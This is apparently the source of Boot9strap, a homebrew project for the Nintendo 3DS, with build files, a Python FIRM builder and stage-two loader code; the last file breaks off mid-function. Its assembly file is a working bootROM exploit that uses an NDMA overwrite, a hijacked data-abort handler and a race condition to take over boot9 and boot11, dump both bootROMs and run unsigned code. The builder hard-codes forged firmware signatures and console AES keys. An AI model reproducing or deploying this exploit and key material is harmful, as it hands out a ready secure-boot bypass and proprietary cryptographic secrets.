├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── boot9strap.s ├── build_boot9strap_firm.py └── stage2 ├── arm11 ├── Makefile ├── linker.ld ├── linker.specs └── source │ ├── asm_macros.s.h │ ├── main.c │ ├── start.s │ └── types.h └── arm9 ├── Makefile ├── linker.ld ├── linker.specs └── source ├── alignedseqmemcpy.h ├── alignedseqmemcpy.s ├── asm_macros.s.h ├── buttons.h ├── cache.h ├── cache.s ├── chainloader.c ├── chainloader.h ├── chainloader_entry.s ├── crypto.c ├── crypto.h ├── fatfs ├── 00history.txt ├── 00readme.txt ├── diskio.c ├── diskio.h ├── ff.c ├── ff.h ├── ffconf.h ├── ffsystem.c ├── ffunicode.c ├── integer.h └── sdmmc │ ├── unprotboot9_sdmmc.c │ └── unprotboot9_sdmmc.h ├── firm.c ├── firm.h ├── fs.c ├── fs.h ├── i2c.c ├── i2c.h ├── main.c ├── ndma.h ├── start.s ├── types.h ├── utils.c └── utils.h /.gitignore: -------------------------------------------------------------------------------- 1 | out 2 | build 3 | stage2/arm9/build 4 | stage2/arm9/itcm_stub/build 5 | stage2/arm9/out 6 | stage2/arm11/build 7 | stage2/arm11/out 8 | *.bin 9 | *.firm 10 | *.o 11 | *.elf 12 | *.d 13 | .DS_Store 14 | .vscode 15 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | export VERSION_MINOR := $(shell git describe --tags --match [0-9]* | cut -c2- | cut -f1 -d- | cut -f2 -d.) 2 | 3 | SUBFOLDERS := stage2/arm9 stage2/arm11 4 | BINS := stage2/arm9/arm9.bin stage2/arm11/arm11.bin 5 | 6 | OUTFILES := out/boot9stap.firm out/boot9stap_dev.firm out/boot9stap_ntr.firm out/boot9stap_ntr_dev.firm 7 | OUTSHAS := $(foreach f, $(OUTFILES), $(f).sha) 8 | 9 | .PHONY: all clean boot9strap b9s_stage2_debug.firm 10 | .PHONY: $(SUBFOLDERS) build_boot9strap_firm.py boot9stap.s 11 | 12 | all: boot9strap 13 | 14 | boot9strap: build_boot9strap_firm.py boot9strap.s $(SUBFOLDERS) 15 | @mkdir -p "out" 16 | @mkdir -p "build" 17 | @armips boot9strap.s 18 | @python build_boot9strap_firm.py $(VERSION_MINOR) 19 | 20 | clean: 21 | @$(foreach dir, $(SUBFOLDERS), $(MAKE) -C $(dir) clean &&) true 22 | @rm -rf out build *.firm 23 | 24 | $(SUBFOLDERS): 25 | @$(MAKE) -C $@ all 26 | 27 | # For troubleshooting purposes only 28 | # Does not bundle the bootROM exploit 29 | b9s_stage2_debug.firm: $(SUBFOLDERS) 30 | @firmtool build $@ -D stage2/arm11/arm11.elf stage2/arm9/arm9.elf -C XDMA NDMA 31 | @echo built... $(notdir $@) 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Boot9strap 2 | 3 | ![License](https://img.shields.io/badge/License-GPLv3-blue.svg) 4 | 5 | Boot9/Boot11 code execution. 6 | 7 | For more details, refer to the presentation [here](https://sciresm.github.io/33-and-a-half-c3/). 8 | 9 | Install via [SafeB9SInstaller](https://github.com/d0k3/SafeB9SInstaller). 10 | 11 | Launches "boot.firm" off of the SD card or CTRNAND. 12 | 13 | ## LED Status Codes 14 | By holding `X + Start + Select` during boot, or if either FIRM file is corrupt, the notification LED will display the following: 15 | - SD FIRM successfully loaded: green 16 | - SD FIRM missing, CTRNAND FIRM successfully loaded: yellow 17 | - SD FIRM corrupt, CTRNAND FIRM successfully loaded: orange 18 | - SD FIRM missing, CTRNAND FIRM also missing: white 19 | - SD FIRM missing, CTRNAND FIRM corrupt: magenta 20 | - SD FIRM corrupt, CTRNAND FIRM also corrupt: red 21 | - In addition to the above, the LED will blink if it is actually a ntrboot boot 22 | 23 | ## Credits 24 | 25 | [Normmatt](https://github.com/Normmatt): Theorizing the NDMA overwite exploit. 26 | [TuxSH](https://github.com/TuxSH): Help implementing bootrom payloads. 27 | [Luma3DS](https://github.com/AuroraWright/Luma3DS): Codebase used in the stage 2 FIRM loader. 28 | 29 | ## Licensing 30 | 31 | This software is licensed under the terms of the GPLv3. 32 | You can find a copy of the license in the LICENSE file. 33 | -------------------------------------------------------------------------------- /boot9strap.s: -------------------------------------------------------------------------------- 1 | .arm.little 2 | 3 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 4 | ; Useful constant addresses. 5 | 6 | b9_memcpy equ 0xFFFF03F0 7 | b9_store_addr equ 0x08080000 8 | b11_store_addr equ 0x08090000 9 | b11_axi_addr equ 0x1FFC0000 10 | 11 | code_11_load_addr equ 0x1FF80000 12 | 13 | arm9mem_dabrt_loc equ 0x08000028 14 | 15 | .create "build/code9.bin",0x08000200 16 | 17 | .area 0x1F0 18 | 19 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 20 | ; Boot9 Data Abort handler: Overwrites two boot9 function pointers, then returns. 21 | dabort_handler: 22 | ldr r3, =0x080003F8 ; r3 = flag_loc 23 | ldr r2, [r3] ; r2 = *(flag_loc) 24 | cmp r2, #0x0 ; did we do this yet? 25 | bne handler_done ; if so, were done here. 26 | 27 | str r2, [r3] ; write to "did we do this yet?" flag. 28 | ldr r3, =0xFFF00058 ; dtcm funcptr_1 29 | ldr r2, =b9_hook_1 ; r2 = b9_hook_1 30 | str r2, [r3] ; Overwrite first function pointer 31 | ldr r2, =b9_hook_2 ; r2 = b9_hook_2 32 | str r2, [r3, #0x4] ; Overwrite second function pointer 33 | handler_done: 34 | mov r2, #0x0 35 | mov r3, #0x0 36 | subs pc, lr, #0x4 ; Skip the offending dabrt instruction 37 | 38 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 39 | ; b9_hook_1: Wait for boot11 to finish a task, then overwrite a function pointer 40 | ; it will call just before lockout. Then, setup the MPU, and return. 41 | b9_hook_1: 42 | pwn_b11: 43 | stmfd sp!, {r0-r6, lr} 44 | ldr r0, =0x1FFE802C ; r0 = b11_funcptr_address 45 | ldr r1, =code_11_load_addr ; r1 = our_boot11_hook 46 | str r1, [r0] ; overwrite value 47 | wait_loop: ; This is actually a ToCToU race condition. 48 | ldr r2, [r0] ; Derefence 49 | cmp r2, r1 ; Has stored value changed? 50 | beq wait_loop ; If not, go back. 51 | str r1, [r0] ; Overwrite final funcptr. 52 | 53 | ; setup_mpu: 54 | setup_mpu: 55 | ldr r0, =0x33333333 56 | mcr p15,0,r0,c5,c0,3 57 | mcr p15,0,r0,c5,c0,2 58 | 59 | mov r0, #0x0 60 | ldr r1, =b11_axi_addr 61 | str r0, [r1, #-0x4] ; Ensure that b11 knows when we are ready. 62 | ldmfd sp!, {r0-r6, pc} 63 | 64 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 65 | ; b9_hook_2: Dump the arm11 bootrom, synchronize with boot11, dump the arm9 66 | ; bootrom, and then return to execution. 67 | b9_hook_2: 68 | mov r11, r0 69 | 70 | ; Dump boot11 71 | ldr r0, =b11_axi_addr 72 | wait_for_b11_exec: ; Wait for boot11 hook to set a flag in axiwram 73 | ldr r1, [r0, #-0x4] 74 | cmp r1, #0x0 75 | beq wait_for_b11_exec 76 | 77 | ldr r1, =b11_store_addr ; memcpy the arm11 bootrom into safe arm9mem 78 | mov r2, #0x10000 79 | ldr r3, =b9_memcpy 80 | blx r3 81 | 82 | ; Let Boot11 know weve copied it. 83 | ldr r0, =b11_axi_addr 84 | mov r1, #0x0 85 | str r1, [r0, #-0x4] 86 | 87 | ; Dump boot9 88 | ldr r0, =0xFFFF0000 89 | ldr r1, =b9_store_addr 90 | mov r2, #0x10000 91 | ldr r3, =b9_memcpy 92 | blx r3 93 | 94 | bx r11 ; Jump to entrypoint 95 | 96 | .pool 97 | 98 | .endarea 99 | 100 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 101 | ; dabrt_vector: The data abort vector copied over by our NDMA write. 102 | .org 0x080003F0 103 | .area 0x10 104 | dabrt_vector: 105 | ldr pc, [pc, #-0x4] 106 | .dw dabort_handler 107 | .dw 0 ; has dabort handler run flag 108 | .dw 0 109 | .endarea 110 | 111 | 112 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 113 | ; stage 2: Load stage 2 payload to 0x08000500 (use 0x100 bytes of padding to be safe). 114 | .org 0x08000500 115 | .area 0x10000 116 | .incbin "stage2/arm9/arm9.bin" 117 | .endarea 118 | .align 0x200 119 | 120 | .close 121 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 122 | 123 | .create "build/code11.bin",code_11_load_addr 124 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 125 | ; boot11_hook: This code is called by boot11 just before lockout. 126 | ; It copies the bootrom to axi_wram, then syncs with 127 | ; boot9 hook. 128 | boot11_hook: 129 | mov r11, r0 130 | 131 | ldr r1, =b11_axi_addr 132 | ldr r0, =0x10000 133 | mov r2, #0x0 134 | b11_copy_loop: ; Simple memcpy loop from boot11 to axiwram. 135 | ldr r3, [r0, r2] 136 | str r3, [r1, r2] 137 | add r2, r2, #0x4 138 | cmp r2, r0 139 | blt b11_copy_loop 140 | 141 | ldr r1, =b11_axi_addr ; Let boot9 know that we are done. 142 | mov r0, #0x1 143 | str r0, [r1, #-0x4] 144 | 145 | wait_for_b9_copy: ; Wait for boot9 to confirm it received our dump. 146 | ldr r0, [r1, #-0x4] 147 | cmp r0, #0x0 148 | bne wait_for_b9_copy 149 | 150 | bx r11 ; Jump to entrypoint 151 | 152 | .pool 153 | 154 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 155 | ; arm11 stage 2 156 | .org (code_11_load_addr+0x200) 157 | 158 | ; this only runs on core0 159 | 160 | .area 0x10000 161 | .incbin "stage2/arm11/arm11.bin" 162 | .endarea 163 | .align 0x200 164 | 165 | .close 166 | 167 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 168 | ; NDMA section: This generates the NDMA overwrite file. 169 | 170 | .create "build/NDMA.bin",0 171 | .area 0x200 172 | .dw 0x00000000 ; NDMA Global CNT 173 | .dw dabrt_vector ; Source Address 174 | .dw arm9mem_dabrt_loc ; Destination Address 175 | .dw 0x00000000 ; Unused Total Repeat Length 176 | .dw 0x00000002 ; Transfer 2 words 177 | .dw 0x00000000 ; Transfer until completed 178 | .dw 0x00000000 ; Unused Fill Data 179 | .dw 0x90010000 ; Start Immediately/Transfer 2 words at a time/Enable 180 | .endarea 181 | .align 0x200 182 | .close 183 | 184 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 185 | ; Data abort section: This is just a single sector causes boot9 to data abort. 186 | 187 | .create "build/dabrt.bin",0 188 | .area 0x200, 0xFF 189 | .endarea 190 | .close 191 | -------------------------------------------------------------------------------- /build_boot9strap_firm.py: -------------------------------------------------------------------------------- 1 | import binascii, hashlib, struct, sys, os.path 2 | try: 3 | from Crypto.Cipher import AES 4 | except ImportError: 5 | from Cryptodome.Cipher import AES 6 | 7 | # Signatures 8 | perfect_signature = 'B6724531C448657A2A2EE306457E350A10D544B42859B0E5B0BED27534CCCC2A4D47EDEA60A7DD99939950A6357B1E35DFC7FAC773B7E12E7C1481234AF141B31CF08E9F62293AA6BAAE246C15095F8B78402A684D852C680549FA5B3F14D9E838A2FB9C09A15ABB40DCA25E40A3DDC1F58E79CEC901974363A946E99B4346E8A372B6CD55A707E1EAB9BEC0200B5BA0B661236A8708D704517F43C6C38EE9560111E1405E5E8ED356C49C4FF6823D1219AFAEEB3DF3C36B62BBA88FC15BA8648F9333FD9FC092B8146C3D908F73155D48BE89D72612E18E4AA8EB9B7FD2A5F7328C4ECBFB0083833CBD5C983A25CEB8B941CC68EB017CE87F5D793ACA09ACF7' 9 | dev_perfect_signature = '88697CDCA9D1EA318256FCD9CED42964C1E98ABC6486B2F128EC02E71C5AE35D63D3BF1246134081AF68754787FCB922571D7F61A30DE4FCFA8293A9DA512396F1319A364968464CA9806E0A52567486754CDDD4C3A62BDCE255E0DEEC230129C1BAE1AE95D786865637C1E65FAE83EDF8E7B07D17C0AADA8F055B640D45AB0BAC76FF7B3439F5A4BFE8F7E0E103BCE995FAD913FB729D3D030B2644EC48396424E0563A1B3E6A1F680B39FC1461886FA7A60B6B56C5A846554AE648FC46E30E24678FAF1DC3CEB10C2A950F4FFA2083234ED8DCC3587A6D751A7E9AFA06156955084FF2725B698EB17454D9B02B6B76BE47ABBE206294366987A4CAB42CBD0B' 10 | ntr_perfect_signature = '37E96B10BAF28C74A710EF35824C93F5FBB341CEE4FB446CE4D290ABFCEFACB063A9B55B3E8A65511D900C5A6E9403AAB5943CEF3A1E882B77D2347942B9E9EB0D7566370F0CB7310C38CB4AC940D1A6BB476BCC2C487D1C532120F1D2A37DDB3E36F8A2945BD8B16FB354980384998ECC380CD5CF8530F1DAD2FD74BA35ACB9C9DA2C131CB295736AE7EFA0D268EE01872EF033058ABA07B5C684EAD60D76EA84A18D866307AAAAB764786E396F2F8B630E60E30E3F1CD8A67D02F0A88152DE7A9E0DD5E64AB7593A3701E4846B6F338D22FD455D45DF212C5577266AA8C367AE6E4CE89DF41691BF1F7FE58F2261F5D251DF36DE9F5AF1F368E650D576810B' 11 | dev_ntr_perfect_signature = '18722BC76DC3602E2C0171F3BCA12AB40EA6D112AEFBECF4BE7A2A58FF759058A93C95CDA9B3B676D09A4E4C9E842E5C68229A6A9D77FAC76445E78EB5B363F8C66B166BE65AFAE40A1485A364C2C13B855CEEDE3DFEACEC68DD6B8687DD6DF8B6D3213F72252E7C03C027EE6079F9C5E0290E5DB8CA0BBCF30FCAD72EB637A170C4A2F41D96BF7D517A2F4F335930DC5E9792D78EDFB51DC79AD9D7A4E7F1ED4D5A5C621B6245A7F1652256011DC32C49B955304A423009E2B78072CEBC12B385B72F926F19318D64075F09278FBA8448FD2484B82654A55D064542A8F5D9F9828CDA5E60D31A40CF8EF18D027310DA4F807988BC753C1EB3B3FC06207E84DE' 12 | 13 | # Keys 14 | ntr_key = '07550C970C3DBD9EDDA9FB5D4C7FB713' 15 | dev_ntr_key = '4DAD2124C2D32973100FBFBD1604C6F1' 16 | 17 | def encrypt_firm_section(section, iv, is_dev=False): 18 | key = dev_ntr_key if is_dev else ntr_key 19 | aes = AES.new(binascii.unhexlify(key), AES.MODE_CBC, iv) 20 | return aes.encrypt(section) 21 | 22 | def build_b9s_firm(version, signature, is_dev=False, ntr_crypt=False): 23 | sections = ['build/code11.bin', 'build/code9.bin', 'build/NDMA.bin', 'build/dabrt.bin'] 24 | section_datas = [] 25 | load_addresses = [0x1FF80000, 0x08000200, 0x10002000, 0xC0000000] 26 | for section in sections: 27 | if not os.path.isfile(section): 28 | print ('Failed to build FIRM: missing file %s!' % section) 29 | return -1 30 | with open(section, 'rb') as f: 31 | section_datas.append(f.read()) 32 | # Write FIRM header. 33 | b9s = b'FIRM' 34 | # Write (zero (boot priority)), ARM11 Entrypoint, ARM9 Entrypoint 35 | b9s += struct.pack('= 2 else 4 59 | firms = ['out/boot9strap.firm', 'out/boot9strap_dev.firm', 'out/boot9strap_ntr.firm', 'out/boot9strap_ntr_dev.firm'] 60 | sigs = [perfect_signature, dev_perfect_signature, ntr_perfect_signature, dev_ntr_perfect_signature] 61 | for firm, sig in zip(firms, sigs): 62 | b9s = build_b9s_firm(version, sig, is_dev='dev' in firm, ntr_crypt='ntr' in firm) 63 | if type(b9s) != bytes: 64 | return 65 | with open(firm, 'wb') as f: 66 | f.write(b9s) 67 | with open('%s.sha' % firm, 'wb') as f: 68 | f.write(hashlib.sha256(b9s).digest()) 69 | print ('Successfully built %s!' % firm) 70 | 71 | if __name__ == '__main__': 72 | main(len(sys.argv), sys.argv) 73 | -------------------------------------------------------------------------------- /stage2/arm11/Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | .SUFFIXES: 3 | #--------------------------------------------------------------------------------- 4 | 5 | ifeq ($(strip $(DEVKITARM)),) 6 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 7 | endif 8 | 9 | TOPDIR ?= $(CURDIR) 10 | include $(DEVKITARM)/base_rules 11 | 12 | #--------------------------------------------------------------------------------- 13 | # TARGET is the name of the output 14 | # BUILD is the directory where object files & intermediate files will be placed 15 | # SOURCES is a list of directories containing source code 16 | # DATA is a list of directories containing data files 17 | # INCLUDES is a list of directories containing header files 18 | #--------------------------------------------------------------------------------- 19 | TARGET := $(notdir $(CURDIR)) 20 | BUILD := build 21 | SOURCES := source 22 | DATA := data 23 | INCLUDES := include 24 | 25 | #--------------------------------------------------------------------------------- 26 | # options for code generation 27 | #--------------------------------------------------------------------------------- 28 | FALSEPOSITIVES := -Wno-array-bounds -Wno-stringop-overflow -Wno-stringop-overread 29 | 30 | ARCH := -mthumb -mthumb-interwork -march=armv6k -flto -mtune=mpcore -mtp=soft $(FALSEPOSITIVES) 31 | DEFINES := -DARM11 -D_3DS 32 | 33 | CFLAGS := -gdwarf-4 -std=gnu11 -Wall -Wextra -Werror -Os -mword-relocations \ 34 | -fomit-frame-pointer -ffunction-sections -fdata-sections \ 35 | -Wno-main $(ARCH) $(DEFINES) 36 | 37 | CFLAGS += $(INCLUDE) 38 | 39 | CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 40 | 41 | ASFLAGS := -g $(ARCH) 42 | LDFLAGS = -specs=$(TOPDIR)/linker.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) 43 | 44 | LIBS := 45 | 46 | #--------------------------------------------------------------------------------- 47 | # list of directories containing libraries, this must be the top level containing 48 | # include and lib 49 | #--------------------------------------------------------------------------------- 50 | LIBDIRS := 51 | 52 | 53 | #--------------------------------------------------------------------------------- 54 | # no real need to edit anything past this point unless you need to add additional 55 | # rules for different file extensions 56 | #--------------------------------------------------------------------------------- 57 | ifneq ($(BUILD),$(notdir $(CURDIR))) 58 | #--------------------------------------------------------------------------------- 59 | 60 | export OUTPUT := $(CURDIR)/$(TARGET) 61 | export TOPDIR := $(CURDIR) 62 | 63 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 64 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 65 | 66 | export DEPSDIR := $(CURDIR)/$(BUILD) 67 | 68 | export APP_TITLE := $(notdir $(TOPDIR)/..) 69 | 70 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 71 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 72 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 73 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 74 | 75 | #--------------------------------------------------------------------------------- 76 | # use CXX for linking C++ projects, CC for standard C 77 | #--------------------------------------------------------------------------------- 78 | ifeq ($(strip $(CPPFILES)),) 79 | #--------------------------------------------------------------------------------- 80 | export LD := $(CC) 81 | #--------------------------------------------------------------------------------- 82 | else 83 | #--------------------------------------------------------------------------------- 84 | export LD := $(CXX) 85 | #--------------------------------------------------------------------------------- 86 | endif 87 | #--------------------------------------------------------------------------------- 88 | 89 | export OFILES_BIN := $(addsuffix .o,$(BINFILES)) 90 | export OFILES_SRC := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) 91 | export OFILES := $(OFILES_BIN) $(OFILES_SRC) 92 | export HFILES_BIN := $(addsuffix .h,$(subst .,_,$(BINFILES))) 93 | 94 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 95 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 96 | -I$(CURDIR)/$(BUILD) 97 | 98 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) 99 | 100 | .PHONY: $(BUILD) clean all 101 | 102 | #--------------------------------------------------------------------------------- 103 | all: $(BUILD) 104 | 105 | $(BUILD): 106 | @[ -d $@ ] || mkdir -p $@ 107 | @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 108 | 109 | #--------------------------------------------------------------------------------- 110 | clean: 111 | @echo clean ... 112 | @rm -fr $(BUILD) $(TARGET).bin $(TARGET).elf 113 | 114 | 115 | #--------------------------------------------------------------------------------- 116 | else 117 | .PHONY: all 118 | 119 | DEPENDS := $(OFILES:.o=.d) 120 | 121 | #--------------------------------------------------------------------------------- 122 | # main targets 123 | #--------------------------------------------------------------------------------- 124 | all : $(OUTPUT).bin 125 | 126 | $(OUTPUT).bin: $(OUTPUT).elf 127 | $(OBJCOPY) -S -O binary $< $@ 128 | @echo built ... $(notdir $@) 129 | 130 | $(OUTPUT).elf: $(OFILES) 131 | 132 | %.elf: $(OFILES) 133 | @echo linking $(notdir $@) 134 | @$(LD) $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@ 135 | @$(NM) -CSn $@ > $(notdir $*.lst) 136 | 137 | $(OFILES_SRC) : $(HFILES_BIN) 138 | 139 | #--------------------------------------------------------------------------------- 140 | # you need a rule like this for each extension you use as binary data 141 | #--------------------------------------------------------------------------------- 142 | %.bin.o %_bin.h : %.bin 143 | #--------------------------------------------------------------------------------- 144 | @echo $(notdir $<) 145 | @$(bin2o) 146 | #--------------------------------------------------------------------------------- 147 | %.ini.o %_ini.h: %.ini 148 | #--------------------------------------------------------------------------------- 149 | @echo $(notdir $<) 150 | @$(bin2o) 151 | 152 | -include $(DEPENDS) 153 | 154 | #--------------------------------------------------------------------------------------- 155 | endif 156 | #--------------------------------------------------------------------------------------- 157 | -------------------------------------------------------------------------------- /stage2/arm11/linker.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf32-littlearm", "elf32-bigarm", "elf32-littlearm") 2 | OUTPUT_ARCH(arm) 3 | ENTRY(_start) 4 | 5 | PHDRS 6 | { 7 | crt0 PT_LOAD; 8 | main PT_LOAD; 9 | } 10 | 11 | /* Mostly copied from https://github.com/devkitPro/buildscripts/blob/master/dkarm-eabi/crtls/3dsx.ld */ 12 | MEMORY 13 | { 14 | main : ORIGIN = 0x1FF80200, LENGTH = 0x1FFFD000 - 0x1FF80200 15 | } 16 | 17 | SECTIONS 18 | { 19 | PROVIDE(__start__ = 0x1FF80200); 20 | PROVIDE(__stack_top__ = 0x1FFFE000); 21 | PROVIDE(__stack_bottom__ = 0x1FFFD000); 22 | 23 | . = __start__; 24 | 25 | .crt0 : 26 | { 27 | KEEP( *(.crt0*) ) 28 | /*KEEP( *(.init) )*/ 29 | /*KEEP( *(.init) )*/ 30 | 31 | . = ALIGN(32); 32 | } >main :crt0 33 | 34 | .text : 35 | { 36 | /* .text */ 37 | *(.text) 38 | *(.text.*) 39 | *(.glue_7) 40 | *(.glue_7t) 41 | *(.stub) 42 | *(.gnu.warning) 43 | *(.gnu.linkonce.t*) 44 | 45 | /* .fini */ 46 | /*KEEP( *(.fini) )*/ 47 | . = ALIGN(8); 48 | } >main :main 49 | 50 | .rodata : 51 | { 52 | *(.rodata) 53 | *(.roda) 54 | *(.rodata.*) 55 | *all.rodata*(*) 56 | *(.gnu.linkonce.r*) 57 | SORT(CONSTRUCTORS) 58 | . = ALIGN(8); 59 | } >main :main 60 | 61 | /*.preinit_array : 62 | { 63 | PROVIDE (__preinit_array_start = .); 64 | KEEP (*(.preinit_array)) 65 | PROVIDE (__preinit_array_end = .); 66 | } >main 67 | 68 | .init_array ALIGN(4) : 69 | { 70 | PROVIDE (__init_array_start = .); 71 | KEEP (*(SORT(.init_array.*))) 72 | KEEP (*(.init_array)) 73 | PROVIDE (__init_array_end = .); 74 | } >main 75 | 76 | .fini_array ALIGN(4) : 77 | { 78 | PROVIDE (__fini_array_start = .); 79 | KEEP (*(.fini_array)) 80 | KEEP (*(SORT(.fini_array.*))) 81 | PROVIDE (__fini_array_end = .); 82 | } >main 83 | 84 | .ctors ALIGN(4) : 85 | { 86 | KEEP (*crtbegin.o(.ctors)) 87 | KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) 88 | KEEP (*(SORT(.ctors.*))) 89 | KEEP (*(.ctors)) 90 | . = ALIGN(4); 91 | } >main 92 | 93 | .dtors ALIGN(4) : 94 | { 95 | KEEP (*crtbegin.o(.dtors)) 96 | KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) 97 | KEEP (*(SORT(.dtors.*))) 98 | KEEP (*(.dtors)) 99 | . = ALIGN(4); 100 | } >main 101 | 102 | .ARM.extab : { *(.ARM.extab* .gnu.linkonce.armextab.*) __exidx_start = ABSOLUTE(.);} >main 103 | ARM.exidx : { *(.ARM.exidx* .gnu.linkonce.armexidx.*) __exidx_end = ABSOLUTE(.);} >main */ 104 | 105 | .data : 106 | { 107 | *(.data) 108 | *(.data.*) 109 | *(.gnu.linkonce.d*) 110 | CONSTRUCTORS 111 | . = ALIGN(32); 112 | } >main :main 113 | 114 | .bss (NOLOAD) : 115 | { 116 | . = ALIGN(32); 117 | PROVIDE (__bss_start__ = ABSOLUTE(.)); 118 | *(.dynbss) 119 | *(.bss) 120 | *(.bss.*) 121 | *(.gnu.linkonce.b*) 122 | *(COMMON) 123 | . = ALIGN(8); 124 | PROVIDE (__bss_end__ = ABSOLUTE(.)); 125 | } >main :NONE 126 | __end__ = ABSOLUTE(.) ; 127 | 128 | /* ================== 129 | ==== Metadata ==== 130 | ================== */ 131 | 132 | /* Discard sections that difficult post-processing, etc */ 133 | /DISCARD/ : { *(.group .comment .note .init .fini) } 134 | 135 | /* Stabs debugging sections. */ 136 | .stab 0 : { *(.stab) } 137 | .stabstr 0 : { *(.stabstr) } 138 | .stab.excl 0 : { *(.stab.excl) } 139 | .stab.exclstr 0 : { *(.stab.exclstr) } 140 | .stab.index 0 : { *(.stab.index) } 141 | .stab.indexstr 0 : { *(.stab.indexstr) } 142 | 143 | /* DWARF debug sections. 144 | Symbols in the DWARF debugging sections are relative to the beginning 145 | of the section so we begin them at 0. */ 146 | 147 | /* DWARF 1 */ 148 | .debug 0 : { *(.debug) } 149 | .line 0 : { *(.line) } 150 | 151 | /* GNU DWARF 1 extensions */ 152 | .debug_srcinfo 0 : { *(.debug_srcinfo) } 153 | .debug_sfnames 0 : { *(.debug_sfnames) } 154 | 155 | /* DWARF 1.1 and DWARF 2 */ 156 | .debug_aranges 0 : { *(.debug_aranges) } 157 | .debug_pubnames 0 : { *(.debug_pubnames) } 158 | 159 | /* DWARF 2 */ 160 | .debug_info 0 : { *(.debug_info) } 161 | .debug_abbrev 0 : { *(.debug_abbrev) } 162 | .debug_line 0 : { *(.debug_line) } 163 | .debug_frame 0 : { *(.debug_frame) } 164 | .debug_str 0 : { *(.debug_str) } 165 | .debug_loc 0 : { *(.debug_loc) } 166 | .debug_macinfo 0 : { *(.debug_macinfo) } 167 | } 168 | -------------------------------------------------------------------------------- /stage2/arm11/linker.specs: -------------------------------------------------------------------------------- 1 | %rename link old_link 2 | 3 | *link: 4 | %(old_link) -T %:getenv(TOPDIR /linker.ld) --nmagic --gc-sections 5 | 6 | *startfile: 7 | crti%O%s crtbegin%O%s 8 | -------------------------------------------------------------------------------- /stage2/arm11/source/asm_macros.s.h: -------------------------------------------------------------------------------- 1 | .macro FUNCTION name, section=.text, algn=2 2 | .section \section\().\name, "ax", %progbits 3 | .align \algn 4 | .global \name 5 | .type \name, %function 6 | .func \name 7 | .cfi_sections .debug_frame 8 | .cfi_startproc 9 | \name: 10 | .endm 11 | .macro END_FUNCTION 12 | .cfi_endproc 13 | .endfunc 14 | .endm 15 | -------------------------------------------------------------------------------- /stage2/arm11/source/main.c: -------------------------------------------------------------------------------- 1 | #include "types.h" 2 | 3 | #define BRIGHTNESS 0x39 4 | 5 | void prepareForFirmlaunch(void); 6 | extern u32 prepareForFirmlaunchSize; 7 | 8 | extern volatile Arm11Operation operation; 9 | 10 | static void initScreens(void) 11 | { 12 | *(vu32 *)0x10141200 = 0x1007F; 13 | *(vu32 *)0x10202014 = 0x00000001; 14 | *(vu32 *)0x1020200C &= 0xFFFEFFFE; 15 | 16 | *(vu32 *)0x10202240 = BRIGHTNESS; 17 | *(vu32 *)0x10202A40 = BRIGHTNESS; 18 | *(vu32 *)0x10202244 = 0x1023E; 19 | *(vu32 *)0x10202A44 = 0x1023E; 20 | 21 | //Top screen 22 | *(vu32 *)0x10400400 = 0x000001c2; 23 | *(vu32 *)0x10400404 = 0x000000d1; 24 | *(vu32 *)0x10400408 = 0x000001c1; 25 | *(vu32 *)0x1040040c = 0x000001c1; 26 | *(vu32 *)0x10400410 = 0x00000000; 27 | *(vu32 *)0x10400414 = 0x000000cf; 28 | *(vu32 *)0x10400418 = 0x000000d1; 29 | *(vu32 *)0x1040041c = 